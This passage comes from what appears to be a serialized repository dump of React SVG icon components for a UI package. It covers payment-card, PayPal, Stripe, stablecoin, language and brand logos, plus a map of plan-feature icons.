106.227 35.352 102.564 37.431L74.6462 53.469C73.6562 54.162 73.1612 55.1025 73.1612 56.2905V69.0615L109.098 48.2715Z\"\n        fill=\"currentColor\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/payment-platforms/card-amex.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CardAmex(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"20\"\n      fill=\"none\"\n      viewBox=\"0 0 24 20\"\n      {...props}\n    >\n      <path\n        d=\"M0 10.6879L4.47134 0.598724H8.82803L9.89809 2.8535V0.598724H15.2484L16.1274 2.96815L17.0446 0.598724H22.7006V10.6891L19.1083 14.3185L24 19.4013H17.2357L15.8599 17.7962L14.4459 19.4013H3.63057V10.6879H0Z\"\n        fill=\"#306FC5\"\n      />\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M5.5378 2.01274L2.25117 9.38854H4.42952L4.96455 7.93631H8.51869L9.09194 9.38854H11.2321L7.94544 2.01274H5.5378ZM7.90723 6.40765L6.72251 3.57962L5.5378 6.40765H7.90723Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M21.0919 9.38854V2.01274H17.9964L16.162 6.78981L14.3276 2.01274H11.2703V9.38854H13.1047V3.69427L15.2448 9.38854H17.041L19.1811 3.69427V9.38854H21.0919Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M5.11742 17.949V10.6879H11.2321V12.293H6.95181V13.5924H11.1174V15.121H6.95181V16.4586H11.2321V17.949H5.11742Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M20.4805 10.6879L17.0792 14.3185L20.4805 17.949H17.9964L15.8563 15.6178L13.6779 17.949H11.3085L14.6716 14.3185L11.2703 10.6879H13.6779L15.8563 13.0573L18.0728 10.6879H20.4805Z\"\n        fill=\"white\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/payment-platforms/card-discover.tsx",
    "content": "import { SVGProps, useId } from \"react\";\n\nexport function CardDiscover(props: SVGProps<SVGSVGElement>) {\n  const id = useId();\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"22\"\n      height=\"22\"\n      fill=\"none\"\n      viewBox=\"0 0 22 22\"\n      {...props}\n    >\n      <g filter={`url(#${id}-filter)`}>\n        <circle cx=\"11\" cy=\"11\" r=\"10.1145\" fill={`url(#${id}-gradient)`} />\n      </g>\n      <defs>\n        <filter\n          id={`${id}-filter`}\n          x=\"0.885498\"\n          y=\"0.885483\"\n          width=\"22.229\"\n          height=\"22.229\"\n          filterUnits=\"userSpaceOnUse\"\n          colorInterpolationFilters=\"sRGB\"\n        >\n          <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n          <feBlend\n            mode=\"normal\"\n            in=\"SourceGraphic\"\n            in2=\"BackgroundImageFix\"\n            result=\"shape\"\n          />\n          <feColorMatrix\n            in=\"SourceAlpha\"\n            type=\"matrix\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n            result=\"hardAlpha\"\n          />\n          <feOffset dx=\"2\" dy=\"2\" />\n          <feGaussianBlur stdDeviation=\"1\" />\n          <feComposite in2=\"hardAlpha\" operator=\"arithmetic\" k2=\"-1\" k3=\"1\" />\n          <feColorMatrix\n            type=\"matrix\"\n            values=\"0 0 0 0 0.675732 0 0 0 0 0.189457 0 0 0 0 0.144011 0 0 0 1 0\"\n          />\n          <feBlend\n            mode=\"normal\"\n            in2=\"shape\"\n            result=\"effect1_innerShadow_3233_2334\"\n          />\n        </filter>\n        <linearGradient\n          id={`${id}-gradient`}\n          x1=\"0.885498\"\n          y1=\"0.885483\"\n          x2=\"21.1145\"\n          y2=\"21.1145\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop offset=\"0.28\" stopColor=\"#E0481E\" />\n          <stop offset=\"0.765\" stopColor=\"#F59214\" />\n        </linearGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/payment-platforms/card-mastercard.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CardMastercard(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"26\"\n      height=\"16\"\n      fill=\"none\"\n      viewBox=\"0 0 26 16\"\n      {...props}\n    >\n      <path d=\"M16.4812 1.71H9.48193V14.2895H16.4812V1.71Z\" fill=\"#FF5F00\" />\n      <path\n        d=\"M9.94376 7.99989C9.94267 6.78836 10.2173 5.59245 10.7467 4.50275C11.2762 3.41304 12.0467 2.45811 12.9999 1.71025C11.8197 0.782666 10.4024 0.205831 8.90991 0.045672C7.41742 -0.114488 5.90998 0.148487 4.55988 0.804545C3.20979 1.4606 2.07151 2.48327 1.27514 3.75566C0.478777 5.02805 0.0564575 6.49883 0.0564575 7.99989C0.0564575 9.50095 0.478777 10.9717 1.27514 12.2441C2.07151 13.5165 3.20979 14.5392 4.55988 15.1952C5.90998 15.8513 7.41742 16.1143 8.90991 15.9541C10.4024 15.7939 11.8197 15.2171 12.9999 14.2895C12.0467 13.5417 11.2762 12.5867 10.7467 11.497C10.2173 10.4073 9.94267 9.21142 9.94376 7.99989Z\"\n        fill=\"#EB001B\"\n      />\n      <path\n        d=\"M17.9436 9.58141e-06C16.1501 -0.00277122 14.4081 0.599824 12.9997 1.71025C13.952 2.45885 14.7219 3.41394 15.2513 4.50348C15.7808 5.59301 16.0558 6.78855 16.0558 7.99989C16.0558 9.21124 15.7808 10.4068 15.2513 11.4963C14.7219 12.5858 13.952 13.5409 12.9997 14.2895C14.0023 15.0776 15.1788 15.6146 16.4311 15.8557C17.6833 16.0968 18.9751 16.0351 20.1987 15.6756C21.4222 15.3161 22.5421 14.6693 23.465 13.7891C24.3878 12.909 25.0869 11.8209 25.5038 10.6157C25.9208 9.41056 26.0436 8.12316 25.862 6.86088C25.6804 5.5986 25.1997 4.39802 24.4599 3.35924C23.7201 2.32047 22.7427 1.4736 21.6092 0.889259C20.4757 0.304914 19.2189 2.34802e-05 17.9436 9.58141e-06Z\"\n        fill=\"#F79E1B\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/payment-platforms/card-visa.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CardVisa(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"20\"\n      height=\"16\"\n      fill=\"none\"\n      viewBox=\"0 0 20 16\"\n      {...props}\n    >\n      <path\n        d=\"M0.367215 0.000510312L0.279083 0.510302C0.279083 0.510302 1.80807 0.788926 3.18539 1.34516C4.95879 1.98252 5.08484 2.35402 5.38357 3.50628L8.63779 16H13.0003L19.7209 0.000510312H15.3686L11.0501 10.8786L9.28802 1.65746C9.12662 0.602156 8.30781 0 7.30608 0H0.367728L0.367215 0.000510312Z\"\n        fill=\"#1434CB\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/payment-platforms/paypal.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function Paypal({ className }: { className?: string }) {\n  return (\n    <svg\n      width=\"14\"\n      height=\"17\"\n      viewBox=\"0 0 14 17\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={cn(\"h-full w-full\", className)}\n    >\n      <path\n        d=\"M11.3939 3.98953C11.4326 1.98069 9.77497 0.438599 7.49576 0.438599H2.78212C2.67224 0.438634 2.56599 0.477885 2.48248 0.549288C2.39896 0.620691 2.34368 0.719557 2.32657 0.828093L0.437575 12.6306C0.429125 12.6841 0.432365 12.7387 0.447073 12.7909C0.46178 12.843 0.487605 12.8913 0.52277 12.9324C0.557935 12.9736 0.601604 13.0067 0.650771 13.0293C0.699937 13.052 0.753434 13.0638 0.807576 13.0638H3.60046L3.16367 15.7971C3.15522 15.8506 3.15847 15.9053 3.1732 15.9574C3.18792 16.0096 3.21378 16.0579 3.24899 16.0991C3.28419 16.1402 3.3279 16.1733 3.37711 16.1959C3.42633 16.2186 3.47986 16.2303 3.53404 16.2303H5.80891C5.91901 16.2303 6.01683 16.1905 6.10022 16.1194C6.18361 16.048 6.19732 15.9494 6.21429 15.8408L6.8821 11.9115C6.89906 11.8032 6.95429 11.6625 7.03804 11.591C7.12142 11.5195 7.19434 11.4805 7.30408 11.4802H8.69673C10.9286 11.4802 12.8227 9.89403 13.1689 7.68738C13.4136 6.12074 12.7418 4.69596 11.3939 3.98953Z\"\n        fill=\"#001C64\"\n      />\n      <path\n        d=\"M4.20466 8.71145L3.50906 13.1226L3.07228 15.8891C3.06382 15.9426 3.06707 15.9973 3.0818 16.0495C3.09653 16.1016 3.12239 16.1499 3.15759 16.1911C3.1928 16.2323 3.23651 16.2653 3.28572 16.288C3.33493 16.3106 3.38847 16.3223 3.44264 16.3223H5.85036C5.96017 16.3222 6.06634 16.2829 6.14978 16.2115C6.23322 16.1401 6.28845 16.0413 6.30555 15.9328L6.94015 11.9115C6.95726 11.8031 7.0125 11.7043 7.09595 11.633C7.17939 11.5616 7.28556 11.5224 7.39534 11.5224H8.8129C11.0448 11.5224 12.9385 9.89437 13.2847 7.68772C13.5301 6.12144 12.7418 4.69666 11.3939 3.98987C11.3903 4.15664 11.3758 4.32305 11.3502 4.48802C11.004 6.69431 9.10998 8.32267 6.87806 8.32267H4.65986C4.55013 8.3227 4.44401 8.36186 4.36057 8.43312C4.27713 8.50438 4.22185 8.60307 4.20466 8.71145Z\"\n        fill=\"#0070E0\"\n      />\n      <path\n        d=\"M3.50894 13.1225H0.707754C0.653592 13.1226 0.600066 13.1108 0.550869 13.0882C0.501672 13.0655 0.457977 13.0325 0.422799 12.9913C0.387622 12.9501 0.361801 12.9018 0.347118 12.8497C0.332434 12.7975 0.329239 12.7428 0.337753 12.6893L2.22638 0.711399C2.2435 0.602897 2.2988 0.504075 2.38232 0.432731C2.46584 0.361388 2.57209 0.322214 2.68194 0.322266H7.49629C9.77514 0.322266 11.4327 1.98095 11.3941 3.98979C10.827 3.69235 10.1607 3.52233 9.4304 3.52233H5.4167C5.30694 3.52243 5.20081 3.56167 5.11738 3.633C5.03395 3.70432 4.97868 3.80305 4.96151 3.91146L4.20526 8.71137L3.50894 13.1225Z\"\n        fill=\"#003087\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/payment-platforms/stablecoin.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function Stablecoin({ className }: { className?: string }) {\n  return (\n    <svg\n      viewBox=\"0 0 74 74\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={cn(\"h-full w-full\", className)}\n    >\n      <g filter=\"url(#filter0_dii_46872_4505)\">\n        <circle cx={37} cy={35} r={35} fill=\"#155DFC\" />\n      </g>\n      <path\n        d=\"M46.5449 11.2051C55.9734 14.9909 62.6308 24.2182 62.6308 35.0001C62.6308 45.7819 55.9734 55.0091 46.545 58.7949M27.4541 11.2051C18.0256 14.9909 11.3682 24.2182 11.3682 35.0001C11.3682 45.7819 18.0255 55.0091 27.454 58.7949\"\n        stroke=\"white\"\n        strokeWidth={4.77273}\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M43.1873 25.2782H34.7901C32.1057 25.2782 29.9297 27.4543 29.9297 30.1387C29.9297 32.823 32.1057 35.0005 34.7901 35.0005H39.2103C41.8947 35.0005 44.0707 37.1765 44.0707 39.8608C44.0707 42.5452 41.8947 44.7216 39.2103 44.7216H30.8132M37 21.7422V25.2782M37 48.2573V44.722\"\n        stroke=\"white\"\n        strokeWidth={4.77273}\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <defs>\n        <filter\n          id=\"filter0_dii_46872_4505\"\n          x={0}\n          y={-3}\n          width={74}\n          height={77}\n          filterUnits=\"userSpaceOnUse\"\n          colorInterpolationFilters=\"sRGB\"\n        >\n          <feFlood floodOpacity={0} result=\"BackgroundImageFix\" />\n          <feColorMatrix\n            in=\"SourceAlpha\"\n            type=\"matrix\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n            result=\"hardAlpha\"\n          />\n          <feOffset dy={2} />\n          <feGaussianBlur stdDeviation={1} />\n          <feComposite in2=\"hardAlpha\" operator=\"out\" />\n          <feColorMatrix\n            type=\"matrix\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.08 0\"\n          />\n          <feBlend\n            mode=\"normal\"\n            in2=\"BackgroundImageFix\"\n            result=\"effect1_dropShadow_46872_4505\"\n          />\n          <feBlend\n            mode=\"normal\"\n            in=\"SourceGraphic\"\n            in2=\"effect1_dropShadow_46872_4505\"\n            result=\"shape\"\n          />\n          <feColorMatrix\n            in=\"SourceAlpha\"\n            type=\"matrix\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n            result=\"hardAlpha\"\n          />\n          <feOffset dy={-3} />\n          <feGaussianBlur stdDeviation={5} />\n          <feComposite in2=\"hardAlpha\" operator=\"arithmetic\" k2={-1} k3={1} />\n          <feColorMatrix\n            type=\"matrix\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.25 0\"\n          />\n          <feBlend\n            mode=\"normal\"\n            in2=\"shape\"\n            result=\"effect2_innerShadow_46872_4505\"\n          />\n          <feColorMatrix\n            in=\"SourceAlpha\"\n            type=\"matrix\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n            result=\"hardAlpha\"\n          />\n          <feOffset dy={4} />\n          <feGaussianBlur stdDeviation={3} />\n          <feComposite in2=\"hardAlpha\" operator=\"arithmetic\" k2={-1} k3={1} />\n          <feColorMatrix\n            type=\"matrix\"\n            values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.25 0\"\n          />\n          <feBlend\n            mode=\"normal\"\n            in2=\"effect2_innerShadow_46872_4505\"\n            result=\"effect3_innerShadow_46872_4505\"\n          />\n        </filter>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/payment-platforms/stripe-icon.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { SVGProps } from \"react\";\n\nexport function StripeIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"32\"\n      height=\"32\"\n      viewBox=\"0 0 32 32\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n      className={cn(\"text-[#543AFD]\", props.className)}\n    >\n      <path\n        d=\"M8 0.5H24C28.1421 0.5 31.5 3.85786 31.5 8V24C31.5 28.1421 28.1421 31.5 24 31.5H8C3.85786 31.5 0.5 28.1421 0.5 24V8C0.5 3.85786 3.85786 0.5 8 0.5Z\"\n        fill=\"currentColor\"\n      />\n      <path\n        d=\"M8 0.5H24C28.1421 0.5 31.5 3.85786 31.5 8V24C31.5 28.1421 28.1421 31.5 24 31.5H8C3.85786 31.5 0.5 28.1421 0.5 24V8C0.5 3.85786 3.85786 0.5 8 0.5Z\"\n        stroke=\"#E5E5E5\"\n      />\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M9 11.8726L23 9V20.0943L9 23V11.9057V11.8726Z\"\n        fill=\"white\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/payment-platforms/stripe-link.tsx",
    "content": "export function StripeLink({ className }: { className?: string }) {\n  return (\n    <svg\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={className}\n    >\n      <path\n        d=\"M12 24C18.6274 24 24 18.6274 24 12C24 5.37257 18.6274 0 12 0C5.37259 0 0 5.37257 0 12C0 18.6274 5.37259 24 12 24Z\"\n        fill=\"#00D66F\"\n      />\n      <path\n        d=\"M11.4479 4.80005H7.74707C8.46707 7.80965 10.5695 10.3824 13.1999 12C10.5647 13.6176 8.46707 16.1904 7.74707 19.2H11.4479C12.3647 16.416 14.9039 13.9968 18.0239 13.5024V10.4929C14.8991 10.0033 12.3599 7.58405 11.4479 4.80005Z\"\n        fill=\"#011E0F\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/photo.tsx",
    "content": "export function Photo({ className }: { className?: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      height=\"24\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      className={className}\n    >\n      <rect x=\"3\" y=\"3\" width=\"18\" height=\"18\" rx=\"2\" ry=\"2\" />\n      <circle cx=\"8.5\" cy=\"8.5\" r=\"1.5\" />\n      <path d=\"M21 15l-5-5L5 21\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/php.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Php(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"130\"\n      height=\"62\"\n      viewBox=\"0 0 130 62\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g>\n        <path\n          d=\"M26.0001 20.7441C27.4318 20.5641 28.8849 20.6696 30.2755 21.0545C31.6661 21.4394 32.9666 22.096 34.102 22.9865C34.8345 24.1149 35.3016 25.3947 35.468 26.7296C35.6345 28.0646 35.496 29.4199 35.063 30.6936C34.6832 33.8292 33.1667 36.7166 30.8009 38.8092C27.9478 40.647 24.5751 41.5089 21.1901 41.2653H14.6901L18.6829 20.7859L26.0001 20.7441ZM0 62H10.6786L13.209 49.0002H22.3415C25.706 49.0858 29.0636 48.6521 32.2959 47.7141C34.9505 46.8377 37.3769 45.3819 39.3995 43.452C42.8974 40.3066 45.255 36.0912 46.1038 31.4643C46.7738 29.1614 46.8918 26.733 46.4481 24.376C46.0044 22.019 45.0117 19.7997 43.5502 17.898C41.7883 16.152 39.6664 14.8116 37.3329 13.9704C34.9993 13.1292 32.5102 12.8075 30.0394 13.0277H9.5504L0 62Z\"\n          fill=\"#484c88\"\n        />\n        <path\n          d=\"M26.0001 20.7441C27.4318 20.5641 28.8849 20.6696 30.2755 21.0545C31.6661 21.4394 32.9666 22.096 34.102 22.9865C34.8345 24.1149 35.3016 25.3947 35.468 26.7296C35.6345 28.0646 35.496 29.4199 35.063 30.6936C34.6832 33.8292 33.1667 36.7166 30.8009 38.8092C27.9478 40.647 24.5751 41.5089 21.1901 41.2653H14.6901L18.6829 20.7859L26.0001 20.7441ZM0 62H10.6786L13.209 49.0002H22.3415C25.706 49.0858 29.0636 48.6521 32.2959 47.7141C34.9505 46.8377 37.3769 45.3819 39.3995 43.452C42.8974 40.3066 45.255 36.0912 46.1038 31.4643C46.7738 29.1614 46.8918 26.733 46.4481 24.376C46.0044 22.019 45.0117 19.7997 43.5502 17.898C41.7883 16.152 39.6664 14.8116 37.3329 13.9704C34.9993 13.1292 32.5102 12.8075 30.0394 13.0277H9.5504L0 62Z\"\n          fill=\"#484c88\"\n        />\n        <path\n          d=\"M53.9367 0H64.5364L61.9689 12.9998H71.3986C75.7309 12.5462 80.0834 13.6471 83.679 16.1059C84.8687 17.4583 85.682 19.0997 86.0373 20.8655C86.3926 22.6313 86.2774 24.4595 85.7033 26.1668L81.274 48.9583H70.5489L74.7647 27.2904C75.058 26.4637 75.1627 25.5818 75.0711 24.7094C74.9795 23.837 74.694 22.9961 74.2354 22.2483C72.6985 21.1456 70.7989 20.6707 68.9239 20.9205H60.46L55.0046 48.9816H44.3817L53.9367 0Z\"\n          fill=\"url(#paint2_linear_6002_28760)\"\n        />\n        <path\n          d=\"M53.9367 0H64.5364L61.9689 12.9998H71.3986C75.7309 12.5462 80.0834 13.6471 83.679 16.1059C84.8687 17.4583 85.682 19.0997 86.0373 20.8655C86.3926 22.6313 86.2774 24.4595 85.7033 26.1668L81.274 48.9583H70.5489L74.7647 27.2904C75.058 26.4637 75.1627 25.5818 75.0711 24.7094C74.9795 23.837 74.694 22.9961 74.2354 22.2483C72.6985 21.1456 70.7989 20.6707 68.9239 20.9205H60.46L55.0046 48.9816H44.3817L53.9367 0Z\"\n          fill=\"#484c88\"\n        />\n        <path\n          d=\"M109.289 20.744C110.72 20.564 112.173 20.6695 113.564 21.0544C114.955 21.4393 116.255 22.096 117.39 22.9865C118.123 24.1148 118.59 25.3946 118.757 26.7296C118.923 28.0645 118.784 29.4198 118.351 30.6935C117.972 33.8291 116.455 36.7166 114.089 38.8092C111.231 40.6509 107.851 41.513 104.46 41.2652H97.9646L101.948 20.7626L109.289 20.744ZM83.2885 62H93.9671L96.4975 49.0001H105.635C109.005 49.0877 112.369 48.6539 115.608 47.7141C118.262 46.8377 120.689 45.3818 122.711 43.452C126.201 40.3032 128.55 36.0881 129.392 31.4642C130.062 29.1613 130.18 26.733 129.737 24.376C129.293 22.019 128.3 19.7997 126.839 17.898C125.076 16.1551 122.954 14.8176 120.622 13.9788C118.289 13.1401 115.802 12.8202 113.333 13.0416H92.811L83.2885 62Z\"\n          fill=\"url(#paint4_linear_6002_28760)\"\n        />\n        <path\n          d=\"M109.289 20.744C110.72 20.564 112.173 20.6695 113.564 21.0544C114.955 21.4393 116.255 22.096 117.39 22.9865C118.123 24.1148 118.59 25.3946 118.757 26.7296C118.923 28.0645 118.784 29.4198 118.351 30.6935C117.972 33.8291 116.455 36.7166 114.089 38.8092C111.231 40.6509 107.851 41.513 104.46 41.2652H97.9646L101.948 20.7626L109.289 20.744ZM83.2885 62H93.9671L96.4975 49.0001H105.635C109.005 49.0877 112.369 48.6539 115.608 47.7141C118.262 46.8377 120.689 45.3818 122.711 43.452C126.201 40.3032 128.55 36.0881 129.392 31.4642C130.062 29.1613 130.18 26.733 129.737 24.376C129.293 22.019 128.3 19.7997 126.839 17.898C125.076 16.1551 122.954 14.8176 120.622 13.9788C118.289 13.1401 115.802 12.8202 113.333 13.0416H92.811L83.2885 62Z\"\n          fill=\"#484c88\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/plan-feature-icons.tsx",
    "content": "import {\n  Bolt,\n  Calendar6,\n  ChartLine,\n  CirclePercentage,\n  ConnectedDots4,\n  CursorRays,\n  Flask,\n  Folder,\n  Gear3,\n  Gift,\n  Globe,\n  Hyperlink,\n  InvoiceDollar,\n  License,\n  MarketingTarget,\n  MoneyBills2,\n  Msgs,\n  PaperPlane,\n  Plug2,\n  Receipt2,\n  ShieldKeyhole,\n  Shuffle,\n  Sparkle3,\n  SquareLayoutGrid5,\n  Trophy,\n  UserCrown,\n  UserFocus,\n  Users2,\n  Users6,\n  UsersSettings,\n  Versions2,\n  Webhook,\n} from \"./nucleo\";\nimport { Slack } from \"./slack\";\n\nexport const PLAN_FEATURE_ICONS = {\n  clicks: CursorRays,\n  links: Hyperlink,\n  retention: Calendar6,\n  sales: InvoiceDollar,\n  domains: Globe,\n  users: Users2,\n  analytics: ChartLine,\n  conversions: Receipt2,\n  ai: Sparkle3,\n  api: Plug2,\n  advanced: Gear3,\n  folders: Folder,\n  dotlink: Gift,\n  deeplinks: MarketingTarget,\n  events: Bolt,\n  webhooks: Webhook,\n  roles: UsersSettings,\n  slack: Slack,\n  tests: Flask,\n  email: PaperPlane,\n  messages: Msgs,\n  sso: ShieldKeyhole,\n  logs: Versions2,\n  success: UserCrown,\n  sla: License,\n  volume: CirclePercentage,\n\n  clickpayouts: CursorRays,\n  payouts: MoneyBills2,\n  basicrewards: Gift,\n  flexiblerewards: Shuffle,\n  bounties: Trophy,\n  frauddetection: ShieldKeyhole,\n  ailandingpage: Sparkle3,\n  customerinsights: UserFocus,\n  partners: ConnectedDots4,\n  partnergroups: Users6,\n  embeddedreferrals: SquareLayoutGrid5,\n};\n"
  },
  {
    "path": "packages/ui/src/icons/product-hunt.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function ProductHunt({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 26.245 26.256\"\n      width=\"64\"\n      height=\"64\"\n      className={cn(\"text-[#FF6055]\", className)}\n    >\n      <path\n        d=\"M26.254 13.128c0 7.253-5.875 13.128-13.128 13.128S-.003 20.382-.003 13.128 5.872 0 13.125 0s13.128 5.875 13.128 13.128\"\n        fill=\"currentColor\"\n      />\n      <path\n        d=\"M14.876 13.128h-3.72V9.2h3.72c1.083 0 1.97.886 1.97 1.97s-.886 1.97-1.97 1.97m0-6.564H8.53v13.128h2.626v-3.938h3.72c2.538 0 4.595-2.057 4.595-4.595s-2.057-4.595-4.595-4.595\"\n        fill=\"#fff\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/python.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Python(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      viewBox=\"0 0 112 113\"\n      {...props}\n    >\n      <path\n        className=\"snake snake1\"\n        fill=\"currentColor\"\n        d=\"M54.919 0c-4.584.022-8.961.413-12.813 1.095C30.76 3.099 28.7 7.295 28.7 15.032v10.219h26.813v3.406H18.637c-7.792 0-14.615 4.684-16.75 13.594-2.461 10.213-2.57 16.586 0 27.25 1.906 7.938 6.458 13.594 14.25 13.594h9.22v-12.25c0-8.85 7.656-16.657 16.75-16.657h26.78c7.456 0 13.407-6.138 13.407-13.625v-25.53c0-7.267-6.13-12.726-13.406-13.938C64.28.328 59.502-.02 54.918 0Zm-14.5 8.22c2.77 0 5.031 2.298 5.031 5.125 0 2.816-2.262 5.093-5.031 5.093-2.78 0-5.031-2.277-5.031-5.093 0-2.827 2.251-5.125 5.03-5.125Z\"\n      />\n      <path\n        className=\"snake snake2\"\n        fill=\"currentColor\"\n        d=\"M85.638 28.657v11.906c0 9.231-7.826 17-16.75 17H42.106c-7.336 0-13.406 6.279-13.406 13.625V96.72c0 7.266 6.319 11.54 13.406 13.625 8.488 2.495 16.627 2.946 26.782 0 6.75-1.955 13.406-5.888 13.406-13.625V86.5H55.513v-3.405H95.7c7.793 0 10.696-5.436 13.406-13.594 2.8-8.399 2.681-16.476 0-27.25-1.925-7.758-5.604-13.594-13.406-13.594H85.638ZM70.575 93.313c2.78 0 5.031 2.278 5.031 5.094 0 2.827-2.251 5.125-5.03 5.125-2.77 0-5.032-2.298-5.032-5.125 0-2.816 2.261-5.094 5.031-5.094Z\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/raycast.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Raycast(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 176 177\"\n      fill=\"none\"\n      {...props}\n    >\n      <path\n        fill=\"currentColor\"\n        fillRule=\"evenodd\"\n        d=\"m175.88 88.5-9.17 9.18-34.79-34.79V44.54l43.96 43.96ZM88 .59l-9.17 9.18 34.78 34.78h18.35L88 .59ZM68.32 20.28l-9.18 9.17 15.1 15.1h18.35L68.32 20.28Zm63.64 63.64v18.35l15.1 15.1 9.18-9.17-24.28-24.28ZM126.67 118l5.25-5.26H63.69v-68.2l-5.26 5.26-9.84-9.8-9.17 9.18 9.84 9.84L44 64.23v10.51l-15.1-15.1-9.18 9.18L44 93.09v21L9.22 79.33 0 88.5l88 87.92 9.18-9.17-34.79-34.79h21l24.27 24.27 9.18-9.18-15.1-15.1h10.51l5.26-5.26 9.84 9.84 9.17-9.18-9.85-9.85Z\"\n        clipRule=\"evenodd\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/reddit.tsx",
    "content": "export function Reddit({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"64\"\n      height=\"64\"\n      viewBox=\"-4.771 0.104 0.685 0.685\"\n      className={className}\n    >\n      <path\n        d=\"M-4.327.61c-.026.026-.067.03-.1.03s-.076-.005-.1-.03m.28-.405l-.13-.03-.05.154.05-.154m.234.04c0 .018-.01.035-.026.044s-.035.01-.05 0-.026-.026-.026-.044c.001-.028.023-.05.05-.05s.05.022.05.05zm.008.306c0 .106-.13.192-.293.192S-4.723.627-4.723.52-4.592.33-4.43.33s.293.086.293.192zM-4.72.49c-.024-.01-.04-.034-.04-.06s.017-.052.043-.06.054-.002.072.02m.43.001c.017-.022.046-.03.072-.02s.043.034.043.06-.016.05-.04.06\"\n        fill=\"#fff\"\n      />\n      <path d=\"M-4.43.725c-.17 0-.306-.092-.306-.204 0-.008.001-.015.002-.023C-4.757.484-4.77.46-4.77.432c0-.043.035-.078.078-.078.02 0 .037.007.05.02.053-.034.125-.056.203-.057l.052-.158h.012l.12.028c.01-.024.033-.04.06-.04.035 0 .064.03.064.064s-.03.064-.064.064S-4.26.25-4.26.215L-4.37.19l-.042.128a.39.39 0 0 1 .196.058c.014-.013.033-.02.053-.02.043 0 .078.035.078.078 0 .028-.015.054-.04.068.001.007.002.014.002.022 0 .113-.137.204-.306.204zm-.278-.23C-4.71.505-4.71.513-4.71.52c0 